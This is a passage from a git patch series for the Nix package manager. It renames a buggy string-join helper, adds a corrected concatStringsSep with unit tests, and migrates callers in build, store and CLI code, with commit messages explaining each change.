a/src/nix/search.cc +++ b/src/nix/search.cc @@ -96,7 +96,7 @@ struct CmdSearch : InstallableValueCommand, MixJSON auto attrPathS = state->symbols.resolve(attrPath); Activity act(*logger, lvlInfo, actUnknown, - fmt("evaluating '%s'", concatStringsSep(".", attrPathS))); + fmt("evaluating '%s'", dropEmptyInitThenConcatStringsSep(".", attrPathS))); try { auto recurse = [&]() { @@ -115,7 +115,7 @@ struct CmdSearch : InstallableValueCommand, MixJSON auto aDescription = aMeta ? aMeta->maybeGetAttr(state->sDescription) : nullptr; auto description = aDescription ? aDescription->getString() : ""; std::replace(description.begin(), description.end(), '\n', ' '); - auto attrPath2 = concatStringsSep(".", attrPathS); + auto attrPath2 = dropEmptyInitThenConcatStringsSep(".", attrPathS); std::vector attrPathMatches; std::vector descriptionMatches; diff --git a/tests/unit/libutil/references.cc b/tests/unit/libutil/references.cc index a517d9aa1..c3efa6d51 100644 --- a/tests/unit/libutil/references.cc +++ b/tests/unit/libutil/references.cc @@ -15,7 +15,7 @@ struct RewriteParams { strRewrites.insert(from + "->" + to); return os << "OriginalString: " << bar.originalString << std::endl << - "Rewrites: " << concatStringsSep(",", strRewrites) << std::endl << + "Rewrites: " << dropEmptyInitThenConcatStringsSep(",", strRewrites) << std::endl << "Expected result: " << bar.finalString; } }; diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc index 9be4a400d..8a3ca8561 100644 --- a/tests/unit/libutil/tests.cc +++ b/tests/unit/libutil/tests.cc @@ -227,32 +227,32 @@ namespace nix { } /* ---------------------------------------------------------------------------- - * concatStringsSep + * dropEmptyInitThenConcatStringsSep * --------------------------------------------------------------------------*/ - TEST(concatStringsSep, buildCommaSeparatedString) { + TEST(dropEmptyInitThenConcatStringsSep, buildCommaSeparatedString) { Strings strings; strings.push_back("this"); strings.push_back("is"); strings.push_back("great"); - ASSERT_EQ(concatStringsSep(",", strings), "this,is,great"); + ASSERT_EQ(dropEmptyInitThenConcatStringsSep(",", strings), "this,is,great"); } - TEST(concatStringsSep, buildStringWithEmptySeparator) { + TEST(dropEmptyInitThenConcatStringsSep, buildStringWithEmptySeparator) { Strings strings; strings.push_back("this"); strings.push_back("is"); strings.push_back("great"); - ASSERT_EQ(concatStringsSep("", strings), "thisisgreat"); + ASSERT_EQ(dropEmptyInitThenConcatStringsSep("", strings), "thisisgreat"); } - TEST(concatStringsSep, buildSingleString) { + TEST(dropEmptyInitThenConcatStringsSep, buildSingleString) { Strings strings; strings.push_back("this"); - ASSERT_EQ(concatStringsSep(",", strings), "this"); + ASSERT_EQ(dropEmptyInitThenConcatStringsSep(",", strings), "this"); } /* ---------------------------------------------------------------------------- From 79eb0adf9db942609b22d55ff764d1e759453543 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 12 Jul 2024 22:33:14 +0200 Subject: [PATCH 1052/1251] dropEmptyInitThenConcatStringSep: Check that we don't drop... ... initial empty strings. The tests pass, which is encouraging. --- src/libexpr/symbol-table.hh | 5 +++++ src/libutil/util.hh | 7 +++++++ 2 files changed, 12 insertions(+) diff --git a/src/libexpr/symbol-table.hh b/src/libexpr/symbol-table.hh index b85725e12..c7a3563b0 100644 --- a/src/libexpr/symbol-table.hh +++ b/src/libexpr/symbol-table.hh @@ -41,6 +41,11 @@ public: } friend std::ostream & operator <<(std::ostream & os, const SymbolStr & symbol); + + bool empty() const + { + return s->empty(); + } }; /** diff --git a/src/libutil/util.hh b/src/libutil/util.hh index 66cef62ed..c545afd9e 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -40,6 +40,13 @@ template std::string dropEmptyInitThenConcatStringsSep(const std::string_view sep, const C & ss) { size_t size = 0; + + for (auto & i : ss) { + // Make sure we don't rely on the empty item ignoring behavior + assert(!i.empty()); + break; + } + // need a cast to string_view since this is also called with Symbols for (const auto & s : ss) size += sep.size() + std::string_view(s).size(); std::string s; From a681d354e717a549595e9b687567dc7d05eaf29d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 12 Jul 2024 23:02:08 +0200 Subject: [PATCH 1053/1251] Add fresh concatStringsSep without bug The buggy version was previously renamed to dropEmptyInitThenConcatStringsSep --- src/libutil/meson.build | 3 ++ src/libutil/strings-inline.hh | 31 +++++++++++++ src/libutil/strings.cc | 12 +++++ src/libutil/strings.hh | 21 +++++++++ tests/unit/libutil/strings.cc | 83 +++++++++++++++++++++++++++++++++++ 5 files changed, 150 insertions(+) create mode 100644 src/libutil/strings-inline.hh create mode 100644 src/libutil/strings.cc create mode 100644 src/libutil/strings.hh create mode 100644 tests/unit/libutil/strings.cc diff --git a/src/libutil/meson.build b/src/libutil/meson.build index ac2b83536..fbfcbe67c 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -148,6 +148,7 @@ sources = files( 'signature/signer.cc', 'source-accessor.cc', 'source-path.cc', + 'strings.cc', 'suggestions.cc', 'tarfile.cc', 'terminal.cc', @@ -215,6 +216,8 @@ headers = [config_h] + files( 'source-accessor.hh', 'source-path.hh', 'split.hh', + 'strings.hh', + 'strings-inline.hh', 'suggestions.hh', 'sync.hh', 'tarfile.hh', diff --git a/src/libutil/strings-inline.hh b/src/libutil/strings-inline.hh new file mode 100644 index 000000000..10c1b19e6 --- /dev/null +++ b/src/libutil/strings-inline.hh @@ -0,0 +1,31 @@ +#pragma once + +#include "strings.hh" + +namespace nix { + +template +std::string concatStringsSep(const std::string_view sep, const C & ss) +{ + size_t size = 0; + bool tail = false; + // need a cast to string_view since this is also called with Symbols + for (const auto & s : ss) { + if (tail) + size += sep.size(); + size += std::string_view(s).size(); + tail = true; + } + std::string s; + s.reserve(size); + tail = false; + for (auto & i : ss) { + if (tail) + s += sep; + s += i; + tail = true; + } + return s; +} + +} // namespace nix diff --git a/src/libutil/strings.cc b/src/libutil/strings.cc new file mode 100644 index 000000000..15937d415 --- /dev/null +++ b/src/libutil/strings.cc @@ -0,0 +1,12 @@ +#include + +#include "strings-inline.hh" +#include "util.hh" + +namespace nix { + +template std::string concatStringsSep(std::string_view, const Strings &); +template std::string concatStringsSep(std::string_view, const StringSet &); +template std::string concatStringsSep(std::string_view, const std::vector &); + +} // namespace nix diff --git a/src/libutil/strings.hh b/src/libutil/strings.hh new file mode 100644 index 000000000..3b112c409 --- /dev/null +++ b/src/libutil/strings.hh @@ -0,0 +1,21 @@ +#pragma once + +#include +#include +#include +#include +#include + +namespace nix { + +/** + * Concatenate the given strings with a separator between the elements. + */ +template +std::string concatStringsSep(const std::string_view sep, const C & ss); + +extern template std::string concatStringsSep(std::string_view, const std::list &); +extern template std::string concatStringsSep(std::string_view, const std::set &); +extern template std::string concatStringsSep(std::string_view, const std::vector &); + +} diff --git a/tests/unit/libutil/strings.cc b/tests/unit/libutil/strings.cc new file mode 100644 index 000000000..47a20770e --- /dev/null +++ b/tests/unit/libutil/strings.cc @@ -0,0 +1,83 @@ +#include + +#include "strings.hh" + +namespace nix { + +using Strings = std::vector; + +/* ---------------------------------------------------------------------------- + * concatStringsSep + * --------------------------------------------------------------------------*/ + +TEST(concatStringsSep, empty) +{ + Strings strings; + + ASSERT_EQ(concatStringsSep(",", strings), ""); +} + +TEST(concatStringsSep, justOne) +{ + Strings strings; + strings.push_back("this"); + + ASSERT_EQ(concatStringsSep(",", strings), "this"); +} + +TEST(concatStringsSep, emptyString) +{ + Strings strings; + strings.push_back(""); + + ASSERT_EQ(concatStringsSep(",", strings), ""); +} + +TEST(concatStringsSep, emptyStrings) +{ + Strings strings; + strings.push_back(""); + strings.push_back(""); + + ASSERT_EQ(concatStringsSep(",", strings), ","); +} + +TEST(concatStringsSep, threeEmptyStrings) +{ + Strings strings; + strings.push_back(""); + strings.push_back(""); + strings.push_back(""); + + ASSERT_EQ(concatStringsSep(",", strings), ",,"); +} + +TEST(concatStringsSep, buildCommaSeparatedString) +{ + Strings strings; + strings.push_back("this"); + strings.push_back("is"); + strings.push_back("great"); + + ASSERT_EQ(concatStringsSep(",", strings), "this,is,great"); +} + +TEST(concatStringsSep, buildStringWithEmptySeparator) +{ + Strings strings; + strings.push_back("this"); + strings.push_back("is"); + strings.push_back("great"); + + ASSERT_EQ(concatStringsSep("", strings), "thisisgreat"); +} + +TEST(concatStringsSep, buildSingleString) +{ + Strings strings; + strings.push_back("this"); + + ASSERT_EQ(concatStringsSep(",", strings), "this"); +} + +} // namespace nix From ea966a70fcae93538f41ff413fb9cec852054b3c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 12 Jul 2024 23:06:32 +0200 Subject: [PATCH 1054/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: diagnostics and docs These are non-critical, so their behavior is ok to change. Dropping empty items is not needed and usually not expected. --- src/build-remote/build-remote.cc | 9 +++++---- src/libcmd/command.cc | 7 ++++--- src/libcmd/installables.cc | 4 +++- src/libcmd/repl.cc | 4 +++- src/libflake/flake/lockfile.cc | 6 ++++-- src/libmain/shared.cc | 7 ++++--- src/libstore/build/entry-points.cc | 3 ++- src/libstore/misc.cc | 1 + src/libstore/unix/build/hook-instance.cc | 3 ++- 9 files changed, 28 insertions(+), 16 deletions(-) diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index 1c3ce930a..600fc7ee2 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -16,6 +16,7 @@ #include "serialise.hh" #include "build-result.hh" #include "store-api.hh" +#include "strings.hh" #include "derivations.hh" #include "local-store.hh" #include "legacy.hh" @@ -206,15 +207,15 @@ static int main_build_remote(int argc, char * * argv) error % drvstr % neededSystem - % dropEmptyInitThenConcatStringsSep(", ", requiredFeatures) + % concatStringsSep(", ", requiredFeatures) % machines.size(); for (auto & m : machines) error - % dropEmptyInitThenConcatStringsSep(", ", m.systemTypes) + % concatStringsSep(", ", m.systemTypes) % m.maxJobs - % dropEmptyInitThenConcatStringsSep(", ", m.supportedFeatures) - % dropEmptyInitThenConcatStringsSep(", ", m.mandatoryFeatures); + % concatStringsSep(", ", m.supportedFeatures) + % concatStringsSep(", ", m.mandatoryFeatures); printMsg(couldBuildLocally ? lvlChatty : lvlWarn, error.str()); diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc index 891a01f91..67fef1909 100644 --- a/src/libcmd/command.cc +++ b/src/libcmd/command.cc @@ -1,3 +1,5 @@ +#include + #include "command.hh" #include "markdown.hh" #include "store-api.hh" @@ -6,8 +8,7 @@ #include "nixexpr.hh" #include "profiles.hh" #include "repl.hh" - -#include +#include "strings.hh" extern char * * environ __attribute__((weak)); @@ -42,7 +43,7 @@ void NixMultiCommand::run() for (auto & [name, _] : commands) subCommandTextLines.insert(fmt("- `%s`", name)); std::string markdownError = fmt("`nix %s` requires a sub-command. Available sub-commands:\n\n%s\n", - commandName, dropEmptyInitThenConcatStringsSep("\n", subCommandTextLines)); + commandName, concatStringsSep("\n", subCommandTextLines)); throw UsageError(renderMarkdownToTerminal(markdownError)); } command->second->run(); diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 1f6ee1e23..406e4bfd8 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -27,6 +27,8 @@ #include +#include "strings-inline.hh" + namespace nix { void completeFlakeInputPath( @@ -630,7 +632,7 @@ static void throwBuildErrors( } failedPaths.insert(failedResult->path.to_string(store)); } - throw Error("build of %s failed", dropEmptyInitThenConcatStringsSep(", ", quoteStrings(failedPaths))); + throw Error("build of %s failed", concatStringsSep(", ", quoteStrings(failedPaths))); } } } diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 1d39ef167..37a34e3de 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -33,6 +33,8 @@ #include #endif +#include "strings.hh" + namespace nix { /** @@ -625,7 +627,7 @@ ProcessLineResult NixRepl::processLine(std::string line) markdown += "**Synopsis:** `builtins." + (std::string) (*doc->name) + "` " - + dropEmptyInitThenConcatStringsSep(" ", args) + "\n\n"; + + concatStringsSep(" ", args) + "\n\n"; } markdown += stripIndentation(doc->doc); diff --git a/src/libflake/flake/lockfile.cc b/src/libflake/flake/lockfile.cc index f0e22a75a..80f14ff6f 100644 --- a/src/libflake/flake/lockfile.cc +++ b/src/libflake/flake/lockfile.cc @@ -9,6 +9,8 @@ #include #include +#include "strings.hh" + namespace nix::flake { static FlakeRef getFlakeRef( @@ -61,7 +63,7 @@ static std::shared_ptr doFind(const ref& root, const InputPath & pat std::vector cycle; std::transform(found, visited.cend(), std::back_inserter(cycle), printInputPath); cycle.push_back(printInputPath(path)); - throw Error("follow cycle detected: [%s]", dropEmptyInitThenConcatStringsSep(" -> ", cycle)); + throw Error("follow cycle detected: [%s]", concatStringsSep(" -> ", cycle)); } visited.push_back(path); @@ -367,7 +369,7 @@ void check(); std::string printInputPath(const InputPath & path) { - return dropEmptyInitThenConcatStringsSep("/", path); + return concatStringsSep("/", path); } } diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index 681c1039f..a224f8d92 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -23,6 +23,7 @@ #include #include "exit.hh" +#include "strings.hh" namespace nix { @@ -301,11 +302,11 @@ void printVersion(const std::string & programName) #endif cfg.push_back("signed-caches"); std::cout << "System type: " << settings.thisSystem << "\n"; - std::cout << "Additional system types: " << dropEmptyInitThenConcatStringsSep(", ", settings.extraPlatforms.get()) << "\n"; - std::cout << "Features: " << dropEmptyInitThenConcatStringsSep(", ", cfg) << "\n"; + std::cout << "Additional system types: " << concatStringsSep(", ", settings.extraPlatforms.get()) << "\n"; + std::cout << "Features: " << concatStringsSep(", ", cfg) << "\n"; std::cout << "System configuration file: " << settings.nixConfDir + "/nix.conf" << "\n"; std::cout << "User configuration files: " << - dropEmptyInitThenConcatStringsSep(":", settings.nixUserConfFiles) + concatStringsSep(":", settings.nixUserConfFiles) << "\n"; std::cout << "Store directory: " << settings.nixStore << "\n"; std::cout << "State directory: " << settings.nixStateDir << "\n"; diff --git a/src/libstore/build/entry-points.cc b/src/libstore/build/entry-points.cc index 8bf7ad35d..4c1373bfa 100644 --- a/src/libstore/build/entry-points.cc +++ b/src/libstore/build/entry-points.cc @@ -4,6 +4,7 @@ # include "derivation-goal.hh" #endif #include "local-store.hh" +#include "strings.hh" namespace nix { @@ -42,7 +43,7 @@ void Store::buildPaths(const std::vector & reqs, BuildMode buildMod throw std::move(*ex); } else if (!failed.empty()) { if (ex) logError(ex->info()); - throw Error(worker.failingExitStatus(), "build of %s failed", dropEmptyInitThenConcatStringsSep(", ", quoteStrings(failed))); + throw Error(worker.failingExitStatus(), "build of %s failed", concatStringsSep(", ", quoteStrings(failed))); } } diff --git a/src/libstore/misc.cc b/src/libstore/misc.cc index 179e5478c..fbfa15f51 100644 --- a/src/libstore/misc.cc +++ b/src/libstore/misc.cc @@ -10,6 +10,7 @@ #include "callback.hh" #include "closure.hh" #include "filetransfer.hh" +#include "strings.hh" namespace nix { diff --git a/src/libstore/unix/build/hook-instance.cc b/src/libstore/unix/build/hook-instance.cc index ba6c3a912..d73d86ff2 100644 --- a/src/libstore/unix/build/hook-instance.cc +++ b/src/libstore/unix/build/hook-instance.cc @@ -3,12 +3,13 @@ #include "hook-instance.hh" #include "file-system.hh" #include "child.hh" +#include "strings.hh" namespace nix { HookInstance::HookInstance() { - debug("starting build hook '%s'", dropEmptyInitThenConcatStringsSep(" ", settings.buildHook.get())); + debug("starting build hook '%s'", concatStringsSep(" ", settings.buildHook.get())); auto buildHookArgs = settings.buildHook.get(); From 39878c89798a95a423395ccfbc64d49f0fad92b9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 12 Jul 2024 23:08:23 +0200 Subject: [PATCH 1055/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: preserve empty attr The empty attribute name should not be dropped from attribute paths. Rendering attribute paths with concatStringsSep is lossy and wrong, but this is just a first improvement while dealing with the dropEmptyInitThenConcatStringsSep problem. --- src/libcmd/installables.cc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 406e4bfd8..0fe956ec0 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -376,7 +376,8 @@ void completeFlakeRefWithFragment( auto attrPath2 = (*attr)->getAttrPath(attr2); /* Strip the attrpath prefix. */ attrPath2.erase(attrPath2.begin(), attrPath2.begin() + attrPathPrefix.size()); - completions.add(flakeRefS + "#" + prefixRoot + dropEmptyInitThenConcatStringsSep(".", evalState->symbols.resolve(attrPath2))); + // FIXME: handle names with dots + completions.add(flakeRefS + "#" + prefixRoot + concatStringsSep(".", evalState->symbols.resolve(attrPath2))); } } } From 3f37785afd002a36ecd5070b16c59902eba9cf88 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 00:07:42 +0200 Subject: [PATCH 1056/1251] NIX_REMOTE_SYSTEMS: actually support multiple :-separated entries Bug not reported in 6 years, but here you go. Also it is safe to switch to normal concatStringsSep behavior because tokenizeString does not produce empty items. --- src/libstore/globals.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index 5f5b4f89b..4eabf6054 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -35,6 +35,8 @@ #include #endif +#include "strings.hh" + namespace nix { @@ -82,7 +84,7 @@ Settings::Settings() Strings ss; for (auto & p : tokenizeString(*s, ":")) ss.push_back("@" + p); - builders = dropEmptyInitThenConcatStringsSep(" ", ss); + builders = concatStringsSep("\n", ss); } #if defined(__linux__) && defined(SANDBOX_SHELL) From 75dde71ff97fcafeeefa08a5c9adba3414693ea2 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 00:11:14 +0200 Subject: [PATCH 1057/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: sigs are non-empty The sigs field is produced by tokenizeStrings, which does not return empty strings. --- src/libstore/local-store.cc | 10 ++++++---- src/libstore/nar-info-disk-cache.cc | 4 +++- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 8764b88b7..82b70ff21 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -51,6 +51,8 @@ #include +#include "strings.hh" + namespace nix { @@ -656,7 +658,7 @@ void LocalStore::registerDrvOutput(const Realisation & info) combinedSignatures.insert(info.signatures.begin(), info.signatures.end()); state->stmts->UpdateRealisedOutput.use() - (dropEmptyInitThenConcatStringsSep(" ", combinedSignatures)) + (concatStringsSep(" ", combinedSignatures)) (info.id.strHash()) (info.id.outputName) .exec(); @@ -675,7 +677,7 @@ void LocalStore::registerDrvOutput(const Realisation & info) (info.id.strHash()) (info.id.outputName) (printStorePath(info.outPath)) - (dropEmptyInitThenConcatStringsSep(" ", info.signatures)) + (concatStringsSep(" ", info.signatures)) .exec(); } for (auto & [outputId, depPath] : info.dependentRealisations) { @@ -729,7 +731,7 @@ uint64_t LocalStore::addValidPath(State & state, (info.deriver ? printStorePath(*info.deriver) : "", (bool) info.deriver) (info.narSize, info.narSize != 0) (info.ultimate ? 1 : 0, info.ultimate) - (dropEmptyInitThenConcatStringsSep(" ", info.sigs), !info.sigs.empty()) + (concatStringsSep(" ", info.sigs), !info.sigs.empty()) (renderContentAddress(info.ca), (bool) info.ca) .exec(); uint64_t id = state.db.getLastInsertedRowId(); @@ -833,7 +835,7 @@ void LocalStore::updatePathInfo(State & state, const ValidPathInfo & info) (info.narSize, info.narSize != 0) (info.narHash.to_string(HashFormat::Base16, true)) (info.ultimate ? 1 : 0, info.ultimate) - (dropEmptyInitThenConcatStringsSep(" ", info.sigs), !info.sigs.empty()) + (concatStringsSep(" ", info.sigs), !info.sigs.empty()) (renderContentAddress(info.ca), (bool) info.ca) (printStorePath(info.path)) .exec(); diff --git a/src/libstore/nar-info-disk-cache.cc b/src/libstore/nar-info-disk-cache.cc index 42d172237..c75043237 100644 --- a/src/libstore/nar-info-disk-cache.cc +++ b/src/libstore/nar-info-disk-cache.cc @@ -7,6 +7,8 @@ #include #include +#include "strings.hh" + namespace nix { static const char * schema = R"sql( @@ -339,7 +341,7 @@ public: (info->narSize) (dropEmptyInitThenConcatStringsSep(" ", info->shortRefs())) (info->deriver ? std::string(info->deriver->to_string()) : "", (bool) info->deriver) - (dropEmptyInitThenConcatStringsSep(" ", info->sigs)) + (concatStringsSep(" ", info->sigs)) (renderContentAddress(info->ca)) (time(0)).exec(); From 608a425550b3c90de39d4a668a504debcc8c53de Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 00:13:58 +0200 Subject: [PATCH 1058/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: diag --- src/libstore/misc.cc | 2 +- src/libstore/unix/build/local-derivation-goal.cc | 6 ++++-- src/nix/diff-closures.cc | 2 +- src/nix/profile.cc | 4 +++- src/nix/search.cc | 4 +++- 5 files changed, 12 insertions(+), 6 deletions(-) diff --git a/src/libstore/misc.cc b/src/libstore/misc.cc index fbfa15f51..bcc02206b 100644 --- a/src/libstore/misc.cc +++ b/src/libstore/misc.cc @@ -465,7 +465,7 @@ OutputPathMap resolveDerivedPath(Store & store, const DerivedPath::Built & bfd) if (!outputsLeft.empty()) throw Error("derivation '%s' does not have an outputs %s", store.printStorePath(drvPath), - dropEmptyInitThenConcatStringsSep(", ", quoteStrings(std::get(bfd.outputs.raw)))); + concatStringsSep(", ", quoteStrings(std::get(bfd.outputs.raw)))); return outputMap; } diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 2ab4334e9..523fe07e7 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -64,6 +64,8 @@ #include #include +#include "strings.hh" + namespace nix { void handleDiffHook( @@ -840,7 +842,7 @@ void LocalDerivationGoal::startBuilder() /* Run the builder. */ printMsg(lvlChatty, "executing builder '%1%'", drv->builder); - printMsg(lvlChatty, "using builder args '%1%'", dropEmptyInitThenConcatStringsSep(" ", drv->args)); + printMsg(lvlChatty, "using builder args '%1%'", concatStringsSep(" ", drv->args)); for (auto & i : drv->env) printMsg(lvlVomit, "setting builder env variable '%1%'='%2%'", i.first, i.second); @@ -1063,7 +1065,7 @@ void LocalDerivationGoal::startBuilder() e.addTrace({}, "while waiting for the build environment for '%s' to initialize (%s, previous messages: %s)", worker.store.printStorePath(drvPath), statusToString(status), - dropEmptyInitThenConcatStringsSep("|", msgs)); + concatStringsSep("|", msgs)); throw; } }(); diff --git a/src/nix/diff-closures.cc b/src/nix/diff-closures.cc index 204213396..9e5a7e4c3 100644 --- a/src/nix/diff-closures.cc +++ b/src/nix/diff-closures.cc @@ -97,7 +97,7 @@ void printClosureDiff( items.push_back(fmt("%s → %s", showVersions(removed), showVersions(added))); if (showDelta) items.push_back(fmt("%s%+.1f KiB" ANSI_NORMAL, sizeDelta > 0 ? ANSI_RED : ANSI_GREEN, sizeDelta / 1024.0)); - logger->cout("%s%s: %s", indent, name, dropEmptyInitThenConcatStringsSep(", ", items)); + logger->cout("%s%s: %s", indent, name, concatStringsSep(", ", items)); } } } diff --git a/src/nix/profile.cc b/src/nix/profile.cc index c21eb3040..548a793d8 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -17,6 +17,8 @@ #include #include +#include "strings.hh" + using namespace nix; struct ProfileElementSource @@ -472,7 +474,7 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile originalConflictingFilePath, newConflictingFilePath, originalEntryName, - dropEmptyInitThenConcatStringsSep(" ", newConflictingRefs), + concatStringsSep(" ", newConflictingRefs), conflictError.priority, conflictError.priority - 1, conflictError.priority + 1 diff --git a/src/nix/search.cc b/src/nix/search.cc index d709774ad..7c46f9fec 100644 --- a/src/nix/search.cc +++ b/src/nix/search.cc @@ -15,6 +15,8 @@ #include #include +#include "strings.hh" + using namespace nix; using json = nlohmann::json; @@ -96,7 +98,7 @@ struct CmdSearch : InstallableValueCommand, MixJSON auto attrPathS = state->symbols.resolve(attrPath); Activity act(*logger, lvlInfo, actUnknown, - fmt("evaluating '%s'", dropEmptyInitThenConcatStringsSep(".", attrPathS))); + fmt("evaluating '%s'", concatStringsSep(".", attrPathS))); try { auto recurse = [&]() { From d3e49ac881654529f8de3e2a3b39f5840d8ed669 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 00:50:39 +0200 Subject: [PATCH 1059/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: shortRefs are not empty --- src/libstore/nar-info-disk-cache.cc | 2 +- src/libstore/nar-info.cc | 3 ++- src/libstore/path-info.hh | 3 +++ tests/unit/libstore/path-info.cc | 16 ++++++++++++++-- 4 files changed, 20 insertions(+), 4 deletions(-) diff --git a/src/libstore/nar-info-disk-cache.cc b/src/libstore/nar-info-disk-cache.cc index c75043237..288f618d5 100644 --- a/src/libstore/nar-info-disk-cache.cc +++ b/src/libstore/nar-info-disk-cache.cc @@ -339,7 +339,7 @@ public: (narInfo ? narInfo->fileSize : 0, narInfo != 0 && narInfo->fileSize) (info->narHash.to_string(HashFormat::Nix32, true)) (info->narSize) - (dropEmptyInitThenConcatStringsSep(" ", info->shortRefs())) + (concatStringsSep(" ", info->shortRefs())) (info->deriver ? std::string(info->deriver->to_string()) : "", (bool) info->deriver) (concatStringsSep(" ", info->sigs)) (renderContentAddress(info->ca)) diff --git a/src/libstore/nar-info.cc b/src/libstore/nar-info.cc index 577466f55..2442a7b09 100644 --- a/src/libstore/nar-info.cc +++ b/src/libstore/nar-info.cc @@ -1,6 +1,7 @@ #include "globals.hh" #include "nar-info.hh" #include "store-api.hh" +#include "strings.hh" namespace nix { @@ -111,7 +112,7 @@ std::string NarInfo::to_string(const Store & store) const res += "NarHash: " + narHash.to_string(HashFormat::Nix32, true) + "\n"; res += "NarSize: " + std::to_string(narSize) + "\n"; - res += "References: " + dropEmptyInitThenConcatStringsSep(" ", shortRefs()) + "\n"; + res += "References: " + concatStringsSep(" ", shortRefs()) + "\n"; if (deriver) res += "Deriver: " + std::string(deriver->to_string()) + "\n"; diff --git a/src/libstore/path-info.hh b/src/libstore/path-info.hh index caefa7975..71f1476a6 100644 --- a/src/libstore/path-info.hh +++ b/src/libstore/path-info.hh @@ -171,6 +171,9 @@ struct ValidPathInfo : UnkeyedValidPathInfo { */ bool checkSignature(const Store & store, const PublicKeys & publicKeys, const std::string & sig) const; + /** + * References as store path basenames, including a self reference if it has one. + */ Strings shortRefs() const; ValidPathInfo(const ValidPathInfo & other) = default; diff --git a/tests/unit/libstore/path-info.cc b/tests/unit/libstore/path-info.cc index 7637cb366..9e9c6303d 100644 --- a/tests/unit/libstore/path-info.cc +++ b/tests/unit/libstore/path-info.cc @@ -26,9 +26,9 @@ static UnkeyedValidPathInfo makeEmpty() }; } -static UnkeyedValidPathInfo makeFull(const Store & store, bool includeImpureInfo) +static ValidPathInfo makeFullKeyed(const Store & store, bool includeImpureInfo) { - UnkeyedValidPathInfo info = ValidPathInfo { + ValidPathInfo info = ValidPathInfo { store, "foo", FixedOutputInfo { @@ -57,6 +57,9 @@ static UnkeyedValidPathInfo makeFull(const Store & store, bool includeImpureInfo } return info; } +static UnkeyedValidPathInfo makeFull(const Store & store, bool includeImpureInfo) { + return makeFullKeyed(store, includeImpureInfo); +} #define JSON_TEST(STEM, OBJ, PURE) \ TEST_F(PathInfoTest, PathInfo_ ## STEM ## _from_json) { \ @@ -86,4 +89,13 @@ JSON_TEST(empty_impure, makeEmpty(), true) JSON_TEST(pure, makeFull(*store, false), false) JSON_TEST(impure, makeFull(*store, true), true) +TEST_F(PathInfoTest, PathInfo_full_shortRefs) { + ValidPathInfo it = makeFullKeyed(*store, true); + // it.references = unkeyed.references; + auto refs = it.shortRefs(); + ASSERT_EQ(refs.size(), 2); + ASSERT_EQ(*refs.begin(), "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar"); + ASSERT_EQ(*++refs.begin(), "n5wkd9frr45pa74if5gpz9j7mifg27fh-foo"); } + +} // namespace nix From 49d100ba8b5d65c6f2df909e53ec92ba279cfc4d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 13 Jul 2024 01:00:06 +0200 Subject: [PATCH 1060/1251] dropEmptyInitThenConcatStringsSep -> concatStringSep: output name empty not feasible I don't think it's completely impossible, but I can't construct one easily as derivationStrict seems to (re)tokenize the outputs attribute, dropping the empty output. It's not a scenario we have to account for here. --- src/libstore/build/derivation-goal.cc | 2 +- src/libstore/outputs-spec.cc | 3 ++- src/libstore/path-with-outputs.cc | 6 ++++-- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index c0a784349..99d9cceda 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -1505,7 +1505,7 @@ std::pair DerivationGoal::checkPathValidity() if (!wantedOutputsLeft.empty()) throw Error("derivation '%s' does not have wanted outputs %s", worker.store.printStorePath(drvPath), - dropEmptyInitThenConcatStringsSep(", ", quoteStrings(wantedOutputsLeft))); + concatStringsSep(", ", quoteStrings(wantedOutputsLeft))); bool allValid = true; for (auto & [_, status] : initialOutputs) { diff --git a/src/libstore/outputs-spec.cc b/src/libstore/outputs-spec.cc index 4ed8f95ae..86788a87e 100644 --- a/src/libstore/outputs-spec.cc +++ b/src/libstore/outputs-spec.cc @@ -5,6 +5,7 @@ #include "regex-combinators.hh" #include "outputs-spec.hh" #include "path-regex.hh" 